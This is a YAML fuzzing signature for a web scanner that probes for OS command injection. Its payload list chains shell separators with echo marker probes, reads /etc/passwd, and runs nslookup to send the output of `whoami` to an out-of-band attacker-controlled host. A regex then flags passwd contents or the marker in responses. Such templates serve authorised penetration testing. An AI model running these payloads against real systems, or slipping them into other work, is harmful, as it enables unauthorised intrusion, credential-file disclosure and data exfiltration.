OS_command_injection.yaml

# info to search signature
id: fuzz-OS-Comman_injection
type: fuzz
info:
  name: OS Commaind Injection Fuzz
  risk: High
  Author: Gocha Okradze

# origin: gonna come from Burp
params:
  - ssrf: "{{.oob}}"

# origin: gonna come from Burp
payloads:
# OS Comman Injection:
  - 'echo%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
  - '%20echo%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
  - ';echo%20echo%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
  - '&echo%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
  - '|echo%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
  - '||echo%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
  - '&&echo%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
  - '%0aecho%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
  - '%3Becho%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
  - '%26echo%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
  - '%26%26echo%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
  - '%7Cecho%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
  - '%7C%7Cecho%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
  - '%26%26cat${IFS}/etc/passwd'
  - '%26%26cat /etc/passwd'
  - 'nslookup `whoami`.{{.Domain}}.rce.{{.ssrf}}'
  - ' nslookup `whoami`.{{.Domain}}.rce.{{.ssrf}}'
  - ';nslookup `whoami`.{{.Domain}}.rce.{{.ssrf}}'
  - '&nslookup `whoami`.{{.Domain}}.rce.{{.ssrf}}'
  - '|nslookup `whoami`.{{.Domain}}.rce.{{.ssrf}}'
  - '||nslookup `whoami`.{{.Domain}}.rce.{{.ssrf}}'
  - '&&nslookup `whoami`.{{.Domain}}.rce.{{.ssrf}}'

   
requests:
  - redirect: true
  - generators:
      # Change exist content type or adding new one
      - Query("{{.payload}}")
      - Body("{{.payload}}")
    detections:
      - >-
        RegexSearch("response", "root:[x*]:0:0:|AGIYMZ313374AGIYMZAGIYMZ")